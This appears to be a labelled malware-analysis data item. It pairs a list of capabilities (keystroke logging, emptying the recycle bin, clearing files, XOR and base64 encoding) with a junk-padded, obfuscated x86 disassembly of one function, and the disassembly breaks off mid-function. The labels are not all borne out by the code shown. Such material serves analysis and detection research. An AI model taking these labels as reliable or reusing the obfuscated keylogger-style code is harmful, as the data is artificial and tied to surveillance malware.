Function at 0x404480
Capabilities:
Check if file exists
Check mutex on windows
Clear file content
Empty the recycle bin
Encode data using base64
Encode data using xor
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x32c
mov byte [ebp - 0x105], 2
mov dword [ebp - 0x40], 0xddf7
mov eax, 0x668
mov word [ebp - 0x1a0], ax
movzx ecx, byte [ebp - 0x105]
cmp ecx, 0x97
jl 0x4044d6
movzx edx, word [ebp - 0x1a0]
push edx
push 0xffffffffffffffc8
movzx eax, word [ebp - 0x1a0]
push eax
movzx ecx, word [ebp - 0x1a0]
push ecx
call fcn.00404390
jmp 0x40458b
mov dx, word [ebp - 0x1a0]
mov word [ebp - 0x26c], dx
movzx eax, word [ebp - 0x26c]
mov dword [ebp - 0x2d8], eax
cmp dword [ebp - 0x2d8], 0x668
je 0x4044ff
jmp 0x404577
movzx ecx, word [ebp - 0x26c]
mov dword [ebp - 0x2dc], ecx
cmp dword [ebp - 0x2dc], 0x668
je 0x40451a
jmp 0x404563
mov byte [ebp - 0x65], 0x1a
push 0
push 0x80
push 2
push 0
push 4
push 0x40000000
push str.E9PuOPymSfDMK4EpLr7s5hE
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x138], eax
mov dword [ebp - 0xa8], 0x1f0d
mov dl, byte [ebp - 0x105]
mov byte [ebp - 0x1a9], dl
mov dword [ebp - 0x24c], 0x6037
jmp 0x404575
movzx eax, byte [ebp - 0x1a9]
sub eax, 0xd0
mov byte [ebp - 0x105], al
jmp 0x40458b
movzx ecx, word [ebp - 0x1a0]
add ecx, 0x4f1
mov word [ebp - 0x26c], cx
mov edx, 0x360
mov word [ebp - 0x268], dx
mov dword [ebp - 0xac], 0x39fd
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x134], eax
lea eax, [ebp - 0x105]
mov dword [ebp - 0x1c0], eax
push 0
push 4
push 0
push 0
push 4
push 0x40000000
push str.8gmWGGu_fTG4OmfPwjc5SD
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x130], eax
lea ecx, [ebp - 0x65]
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0xf4], 0x29af
movsx edx, word [ebp - 0x268]
imul edx, edx, 0x634
mov word [0x41b004], dx
mov ax, word [ebp - 0x268]
mov word [ebp - 0x100], ax
mov dword [ebp - 0x170], 0x2323
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x14c], ecx
mov dl, byte [ebp - 0x1a9]
mov byte [ebp - 0x2e0], dl
cmp byte [ebp - 0x2e0], 2
je 0x4046bc
cmp byte [ebp - 0x2e0], 0x1d
je 0x404648
jmp 0x404733
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
and ecx, 8
mov byte [ebp - 0x65], cl
mov edx, dword [ebp - 0xac]
push edx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0xac]
push edx
mov edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
call fcn.004043d0
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1a9]
xor edx, eax
mov ecx, dword [ebp - 0x1c0]
mov byte [ecx], dl
movzx edx, word [ebp - 0x26c]
sar edx, 0xe
mov word [ebp - 0x1a0], dx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
shl ecx, 0x1c
mov dword [ebp - 0xac], ecx
jmp 0x404733
push 0xf
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [ebp - 0x280], eax
mov dword [ebp - 0x2c8], 0xa08f
movzx edx, word [ebp - 0x26c]
or edx, 0xb46
movzx eax, word [ebp - 0x1a0]
cmp edx, eax
jge 0x4046f9
mov ecx, dword [ebp - 0x2c8]
call fcn.00408710
jmp 0x404729
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x1a9]
add edx, eax
movzx ecx, byte [ebp - 0x105]
cmp edx, ecx
jne 0x404729
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
sub eax, 0x7c54
mov dword [ebp - 0xac], eax
mov dword [ebp - 0x23c], 0xd679
cmp dword [ebp - 0x23c], 0xe879
ja 0x404aeb
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x105]
and edx, eax
mov ecx, dword [ebp - 0x1c0]
mov byte [ecx], dl
movsx edx, byte [ebp - 0x65]
add edx, 0x3d
mov eax, dword [ebp - 0x3c]
mov byte [eax], dl
push 0x1a04
push 0x32af
push 0x320c
push 0xf37
mov ecx, dword [ebp - 0x130]
push ecx
call dword [sym.imp.KERNEL32.dll_LockFile]
mov dword [ebp - 0x4c], eax
mov edx, dword [ebp - 0xac]
sub edx, 0x4d43
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
sub edx, 0xde3
mov dword [ebp - 0xac], edx
movsx eax, word [ebp - 0x268]
movsx ecx, word [0x41b004]
add eax, ecx
mov word [ebp - 0x100], ax
mov edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
shl eax, 1
mov byte [ebp - 0x65], al
movzx edx, byte [ebp - 0x105]
movzx ecx, byte [ebp - 0x1a9]
sar edx, cl
mov eax, dword [ebp - 0x1c0]
mov byte [eax], dl
mov ecx, dword [ebp - 0xac]
or ecx, 0xc88
mov edx, dword [ebp - 0x14c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2c8]
xor eax, 0x5d6a
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
and edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
add edx, 0x6325
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x2c8]
sub eax, 0xebc4
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0xac]
sub ecx, 0x1cca
mov edx, dword [ebp - 0x14c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x23c]
add eax, 0x40
mov dword [ebp - 0x23c], eax
movzx ecx, word [ebp - 0x26c]
add ecx, 0x71f
mov word [ebp - 0x1a0], cx
movzx edx, byte [ebp - 0x105]
movzx eax, byte [ebp - 0x1a9]
and edx, eax
mov ecx, dword [ebp - 0x1c0]
mov byte [ecx], dl
mov edx, dword [ebp - 0xac]
add edx, 0x7407
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2c8]
sub ecx, 0x73e0
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
add eax, 0x5b63
mov dword [ebp - 0xac], eax
movsx ecx, word [ebp - 0x100]
movsx edx, word [ebp - 0x268]
sub ecx, edx
mov word [0x41b004], cx
mov eax, dword [ebp - 0x1c0]
movzx edx, byte [eax]
movzx ecx, byte [ebp - 0x105]
sar edx, cl
mov byte [ebp - 0x1a9], dl
movzx eax, word [ebp - 0x1a0]
xor eax, 0x16f
mov word [ebp - 0x26c], ax
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
or edx, 0x34
mov byte [ebp - 0x65], dl
movsx eax, word [0x41b004]
movsx ecx, word [ebp - 0x268]
shl eax, cl
mov word [ebp - 0x100], ax
mov ecx, dword [ebp - 0x2c8]
and ecx, 0x808
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0xac]
add edx, 0x6b18
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x65]
sub edx, eax
mov ecx, dword [ebp - 0x3c]
mov byte [ecx], dl
movzx edx, byte [ebp - 0x1a9]
mov eax, dword [ebp - 0x1c0]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x105], dl
movsx edx, word [ebp - 0x100]
movsx eax, word [ebp - 0x268]
add edx, eax
mov word [0x41b004], dx
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
and edx, 0x1080
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x2c8]
add eax, 0xceac
mov dword [ebp - 0x2c8], eax
movzx ecx, byte [ebp - 0x105]
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x1a9], cl
movzx ecx, word [ebp - 0x1a0]
add ecx, 0x160
mov word [ebp - 0x26c], cx
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
or eax, 0x78d9
mov dword [ebp - 0xac], eax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
xor edx, 0x24c0
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x2c8]
shr eax, 0x13
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
mov ecx, dword [ebp - 0xac]
shl edx, cl
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
and edx, 0x7671
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x1c0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x105]
sub ecx, edx
mov eax, dword [ebp - 0x1c0]
mov byte [eax], cl
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
add edx, 0x39
mov byte [ebp - 0x65], dl
mov eax, dword [ebp - 0x1c0]
movzx ecx, byte [eax]
movzx edx, byte [ebp - 0x105]
sub ecx, edx
mov byte [ebp - 0x1a9], cl
movzx eax, word [ebp - 0x26c]
add eax, 0xb2c
mov word [ebp - 0x1a0], ax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xac]
add ecx, 0x33bc
mov edx, dword [ebp - 0x14c]
mov dword [edx], ecx
jmp 0x404733
mov al, byte [ebp - 0x1a9]
mov byte [ebp - 0x251], al
mov dword [ebp - 0x240], 0x2eac
movsx ecx, byte [ebp - 0x65]
imul ecx, ecx, 0x24
mov edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
cmp ecx, eax
jne 0x404b29
movsx ecx, word [ebp - 0x268]
movsx edx, word [ebp - 0x100]
and ecx, edx
mov word [0x41b004], cx
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0x2c], eax
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x48], ecx
mov edx, dword [ebp - 0xac]
mov dword [ebp - 0x150], edx
push 9
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [ebp - 0x2c4], eax
movsx eax, word [ebp - 0x100]
mov dword [ebp - 0x2e4], eax
cmp dword [ebp - 0x2e4], 0x685
je 0x404b70
jmp 0x404b90
movsx ecx, byte [ebp - 0x65]
xor ecx, 0x68
mov edx, dword [ebp - 0x3c]
mov byte [edx], cl
mov eax, dword [ebp - 0x1c0]
movzx ecx, byte [eax]
push ecx
call fcn.00404410
jmp 0x4086b6
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
mov dword [ebp - 0x2e8], eax
cmp dword [ebp - 0x2e8], 0
je 0x404ba9
jmp 0x404c7d
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x1a9]
shl edx, cl
mov byte [ebp - 0x251], dl
mov eax, dword [ebp - 0xac]
mov dword [ebp - 0x2ec], eax
cmp dword [ebp - 0x2ec], 0x33bc
je 0x404bde
jmp 0x404c61
lea ecx, [ebp - 0xac]
mov dword [ebp - 0xc0], ecx
mov edx, dword [ebp - 0x150]
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0x3c]
mov cl, byte [eax]
mov byte [ebp - 0x2f0], cl
cmp byte [ebp - 0x2f0], 0x60
je 0x404c0c
jmp 0x404c5f
movsx edx, word [ebp - 0x100]
movsx eax, word [ebp - 0x268]
or edx, eax
mov word [0x41b004], dx
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
sar edx, 1
mov byte [ebp - 0x65], dl
movzx eax, byte [ebp - 0x1a9]
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
sub eax, edx
mov byte [ebp - 0x251], al
mov eax, dword [ebp - 0x2c8]
push eax
mov dx, word [0x41b004]
mov cl, byte [ebp - 0x105]
call fcn.00404440
jmp 0x404c71
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x2c]
mov dword [eax], edx
mov dword [ebp - 0x184], 0xbc0f
jmp 0x404cd1
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
sub edx, 0x381b
mov dword [ebp - 0x2c8], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
add ecx, 0xa083
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0xf0]
sub edx, dword [ebp - 0x150]
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
movzx ecx, byte [ebp - 0x65]
push ecx
mov edx, dword [ebp - 0xf0]
push edx
mov eax, dword [ebp - 0x150]
push eax
mov ecx, dword [ebp - 0x48]
mov edx, dword [ecx]
push edx
call fcn.00404350
add esp, 0x10
mov eax, dword [ebp - 0x48]
mov ecx, dword [eax]
mov dword [ebp - 0x17c], ecx
mov edx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x17c]
add eax, dword [edx]
mov dword [ebp - 0x150], eax
mov ecx, dword [ebp - 0xf0]
mov dword [ebp - 0x2f4], ecx
cmp dword [ebp - 0x2f4], 0x33bc
je 0x404d0d
jmp 0x404db7
mov edx, dword [ebp - 0x3c]
movsx eax, byte [edx]
sub eax, 0x6f
movsx ecx, byte [ebp - 0x65]
cmp eax, ecx
jne 0x404d5b
movsx edx, word [ebp - 0x268]
movsx eax, word [ebp - 0x100]
add edx, eax
mov word [0x41b004], dx
mov ecx, dword [ebp - 0x3c]
movzx edx, byte [ecx]
push edx
mov eax, dword [ebp - 0x17c]
push eax
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0xc0]
mov eax, dword [edx]
push eax
call fcn.00404350
add esp, 0x10
mov dword [ebp - 0xfc], 0x7de2
lea ecx, [ebp - 0x26c]
mov dword [ebp - 0x224], ecx
movsx edx, byte [ebp - 0x65]
add edx, 0x1c
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
cmp edx, ecx
jg 0x404db2
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
and eax, 0x90a9
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0x17c]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 8]
push eax
call dword [sym.imp.SHELL32.dll_DragFinish]
jmp 0x404e39
mov ecx, dword [ebp - 0x48]
mov edx, dword [ecx]
xor edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0x48]
mov dword [eax], edx
mov ecx, dword [ebp - 0x48]
mov edx, dword [ecx]
push edx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [eax]
push ecx
mov edx, dword [ebp - 0xc0]
mov eax, dword [edx]
push eax
mov edx, dword [ebp - 0x150]
mov ecx, dword [ebp - 0xf0]
call fcn.004043d0
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
shl edx, 0x16
mov dword [ebp - 0x2c8], edx
movzx eax, byte [ebp - 0x105]
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
or eax, edx
mov byte [ebp - 0x251], al
movzx eax, byte [ebp - 0x65]
push eax
mov ecx, dword [ebp - 0xac]
push ecx
mov edx, dword [ebp - 0x48]
mov eax, dword [edx]
push eax
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
push edx
call fcn.00404350
add esp, 0x10
mov ax, word [ebp - 0x1a0]
mov word [ebp - 0x110], ax
cmp dword [ebp - 0x184], 0xc753
ja 0x4051bb
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
sub edx, 0x2a
mov byte [ebp - 0x65], dl
movsx eax, word [0x41b004]
movsx ecx, word [ebp - 0x100]
sub eax, ecx
mov word [ebp - 0x268], ax
movsx edx, word [ebp - 0x268]
movsx eax, word [ebp - 0x100]
and edx, eax
mov word [0x41b004], dx
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ebp - 0xf0]
add edx, dword [ecx]
mov dword [ebp - 0x150], edx
movzx eax, word [ebp - 0x110]
movzx ecx, word [ebp - 0x26c]
sub eax, ecx
mov word [ebp - 0x1a0], ax
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x105]
add eax, ecx
mov byte [ebp - 0x1a9], al
mov edx, dword [ebp - 0x150]
sub edx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
add edx, dword [ebp - 0x2c8]
mov eax, dword [ebp - 0x2c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xac]
add ecx, dword [ebp - 0xf0]
mov dword [ebp - 0x17c], ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0x150]
sub eax, dword [edx]
mov dword [ebp - 0xf0], eax
movzx ecx, byte [ebp - 0x105]
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x1a9], cl
movzx edx, word [ebp - 0x110]
movzx ecx, word [ebp - 0x26c]
sar edx, cl
mov eax, dword [ebp - 0x224]
mov word [eax], dx
mov ecx, dword [ebp - 0x184]
add ecx, 0x67
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
shl eax, 7
mov dword [ebp - 0x2c8], eax
mov ecx, dword [ebp - 0x150]
xor ecx, dword [ebp - 0xac]
mov edx, dword [ebp - 0x14c]
mov dword [edx], ecx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0xac]
or ecx, dword [eax]
mov dword [ebp - 0x150], ecx
mov edx, dword [ebp - 0x150]
and edx, dword [ebp - 0xac]
mov eax, dword [ebp - 0xc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ecx]
add edx, dword [ebp - 0xac]
mov dword [ebp - 0x150], edx
mov eax, dword [ebp - 0x3c]
movsx ecx, byte [eax]
add ecx, 0x6e
mov byte [ebp - 0x65], cl
movsx edx, word [ebp - 0x268]
movsx eax, word [0x41b004]
and edx, eax
mov word [ebp - 0x100], dx
mov ecx, dword [ebp - 0x138]
push ecx
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov dword [ebp - 0x4c], eax
push 6
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [ebp - 0x10], eax
movzx edx, byte [ebp - 0x105]
movzx eax, byte [ebp - 0x251]
sub edx, eax
mov byte [ebp - 0x1a9], dl
movsx ecx, word [ebp - 0x268]
movsx edx, word [ebp - 0x100]
add ecx, edx
mov word [0x41b004], cx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
sub ecx, 0x768
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x2c8]
add edx, 0x8620
mov eax, dword [ebp - 0x2c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x105]
sub edx, eax
mov byte [ebp - 0x1a9], dl
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x110]
xor edx, eax
mov word [ebp - 0x1a0], dx
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ecx]
or edx, dword [ebp - 0xac]
mov dword [ebp - 0x17c], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
shr ecx, 6
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0xf0]
mov ecx, dword [ebp - 0xac]
shl edx, cl
mov dword [ebp - 0x17c], edx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0xac]
and ecx, dword [eax]
mov edx, dword [ebp - 0xc0]
mov dword [edx], ecx
movsx eax, word [ebp - 0x268]
movsx ecx, word [ebp - 0x100]
sub eax, ecx
mov word [0x41b004], ax
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
movzx ecx, word [ebp - 0x26c]
add eax, ecx
mov edx, dword [ebp - 0x224]
mov word [edx], ax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
sub ecx, 0x6674
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x17c]
add eax, dword [edx]
mov ecx, dword [ebp - 0x14c]
mov dword [ecx], eax
movsx edx, word [ebp - 0x100]
movsx eax, word [0x41b004]
and edx, eax
mov word [ebp - 0x268], dx
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
add edx, 0x31
mov byte [ebp - 0x65], dl
mov eax, dword [ebp - 0x224]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x1a0]
sub ecx, edx
mov word [ebp - 0x26c], cx
movzx eax, byte [ebp - 0x105]
movzx ecx, byte [ebp - 0x1a9]
sub eax, ecx
mov byte [ebp - 0x251], al
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
add eax, 0xa25
mov dword [ebp - 0x2c8], eax
mov edx, dword [ebp - 0x150]
mov ecx, dword [ebp - 0xf0]
sar edx, cl
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x17c]
xor ecx, dword [ebp - 0xf0]
mov dword [ebp - 0x150], ecx
mov edx, dword [ebp - 0x2c]
mov eax, dword [edx]
shl eax, 0x16
mov dword [ebp - 0x2c8], eax
jmp 0x404e47
cmp dword [ebp - 0xfc], 0x3b0b
jb 0x405412
mov ecx, dword [ebp - 0x17c]
or ecx, dword [ebp - 0x150]
mov edx, dword [ebp - 0x14c]
mov dword [edx], ecx
movzx eax, word [ebp - 0x110]
movzx ecx, word [ebp - 0x1a0]
and eax, ecx
mov word [ebp - 0x26c], ax
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1a9]
sub eax, ecx
mov byte [ebp - 0x251], al
mov edx, dword [ebp - 0x17c]
add edx, dword [ebp - 0x150]
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
add ecx, 0xbc81
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x48]
mov ecx, dword [edx]
sub ecx, dword [eax]
mov dword [ebp - 0xac], ecx
movsx edx, word [ebp - 0x268]
movsx eax, word [ebp - 0x100]
sub edx, eax
mov word [0x41b004], dx
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x251]
and edx, eax
mov byte [ebp - 0x1a9], dl
movzx ecx, word [ebp - 0x110]
mov edx, dword [ebp - 0x224]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x1a0], cx
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
sub edx, 0x74
mov byte [ebp - 0x65], dl
movsx eax, word [ebp - 0x100]
movsx ecx, word [0x41b004]
add eax, ecx
mov word [ebp - 0x268], ax
push 0
push 0x66c
push 0x1d0b
push 0x907ef5e7
push 2
mov edx, dword [ebp - 0x138]
push edx
call dword [sym.imp.KERNEL32.dll_LockFileEx]
mov dword [ebp - 0x2c4], eax
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
xor ecx, 0x45aa
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x14c]
mov eax, dword [ebp - 0xf0]
mov ecx, dword [edx]
shl eax, cl
mov ecx, dword [ebp - 0xc0]
mov dword [ecx], eax
movzx edx, word [ebp - 0x26c]
mov eax, dword [ebp - 0x224]
movzx ecx, word [eax]
or edx, ecx
mov word [ebp - 0x110], dx
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x105]
sar eax, cl
mov byte [ebp - 0x251], al
push 6
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
mov dword [ebp - 0x280], eax
movsx ecx, word [ebp - 0x100]
movsx edx, word [ebp - 0x268]
and ecx, edx
mov word [0x41b004], cx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x14c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0xc0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x14c]
mov edx, dword [ebp - 0xf0]
add edx, dword [ecx]
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0x2c]
mov ecx, dword [eax]
add ecx, 0xefc5
mov dword [ebp - 0x2c8], ecx
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1a9]
sub eax, ecx
mov byte [ebp - 0x105], al
mov edx, dword [ebp - 0xfc]
sub edx, 0xf1
mov dword [ebp - 0xfc], edx
movzx eax, word [ebp - 0x26c]
movzx ecx, word [ebp - 0x1a0]
add eax, ecx
mov word [ebp - 0x110], ax
mov edx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x17c]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x14c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xac]
and edx, dword [ebp - 0x17c]
mov eax, dword [ebp - 0x14c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ecx]
sub edx, 0xd726
mov dword [ebp - 0x2c8], edx
jmp 0x4051bb
mov eax, dword [ebp - 0x1c0]
mov cl, byte [eax]
mov byte [0x771662], cl
mov edx, dword [ebp - 0xc0]
mov eax, dword [edx]
or eax, dword [ebp - 0x17c]
mov ecx, dword [ebp - 0x48]
mov edx, dword [ebp - 0x150]
mov ecx, dword [ecx]
shl edx, cl
cmp eax, edx
je 0x405468
lea eax, [ebp - 0xf0]
mov dword [ebp - 0xd0], eax
mov ecx, dword [ebp - 0x150]
xor ecx, dword [ebp - 0xac]
mov dword [ebp - 0xf0], ecx
mov dx, word [ebp - 0x268]
mov word [ebp - 0x64], dx
lea eax, [ebp - 0x65]
mov dword [ebp - 0x1b0], eax
mov dword [ebp - 0x160], 0x771662
mov ecx, dword [ebp - 0x224]
mov dx, word [ecx]
mov word [ebp - 0x1d8], dx
lea eax, [ebp - 0x2c8]
mov dword [ebp - 0xb4], eax
movzx edx, byte [ebp - 0x1a9]
movzx ecx, byte [ebp - 0x251]
sar edx, cl
movzx eax, byte [ebp - 0x105]
movzx ecx, byte [0x771662]
add eax, ecx
cmp edx, eax
jl 0x40551e
mov edx, dword [ebp - 0x14c]
mov eax, dword [edx]
and eax, dword [ebp - 0x150]
mov ecx, dword [ebp - 0x48]
mov dword [ecx], eax
mov edx, dword [ebp - 0x1c0]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x1a9]
sub eax, ecx
mov byte [ebp - 0x251], al
lea edx, [ebp - 0x110]
mov dword [ebp - 0xec], edx
mov eax, dword [ebp - 0x2c8]
mov dword [ebp - 0x16c], eax
mov ecx, dword [ebp - 0x17c]
mov dword [ebp - 0xbc], ecx
mov edx, dword [ebp - 0xf0]
add edx, dword [ebp - 0xbc]
mov eax, dword [ebp - 0xd0]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2c8]
mov dword [ebp - 0x5c], ecx
mov dx, word [ebp - 0x1a0]
mov word [ebp - 0x198], dx
lea eax, [ebp - 0x1a9]
mov dword [ebp - 0xdc], eax
mov ecx, dword [ebp - 0x1c0]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x251]
add edx, eax
mov byte [0x41b006], dl
mov dword [ebp - 0x54], 0xde0
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ecx]
mov eax, dword [ebp - 0x48]
add edx, dword [eax]
mov dword [ebp - 0xbc], edx
mov ecx, dword [ebp - 0xd0]
mov edx, dword [ebp - 0xc0]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0xf0], eax
mov ecx, dword [ebp - 0x3c]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x1b0]
movsx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x65], dl
movsx edx, word [0x41b004]
movsx eax, word [ebp - 0x64]
add edx, eax
mov word [ebp - 0x268], dx
mov ecx, dword [ebp - 0x224]
movzx edx, word [ecx]
movzx eax, word [ebp - 0x198]
and edx, eax
mov ecx, dword [ebp - 0xec]
mov word [ecx], dx
movzx edx, byte [ebp - 0x251]
movzx eax, byte [ebp - 0x1a9]
or edx, eax
mov byte [ebp - 0x105], dl
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0xb4]
mov eax, dword [ecx]
xor eax, dword [edx]
mov dword [ebp - 0x5c], eax
mov ecx, dword [ebp - 0x2c]
mov edx, dword [ebp - 0x16c]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x2c8], edx
movsx eax, word [ebp - 0x100]
movsx ecx, word [ebp - 0x268]
sar eax, cl
mov word [0x41b004], ax
mov ecx, dword [ebp - 0xc0]
mov edx, dword [ecx]
sub edx, dword [ebp - 0xbc]
mov dword [ebp - 0xf0], edx
mov eax, dword [ebp - 0xc0]
mov ecx, dword [ebp - 0x150]
sub ecx, dword [eax]
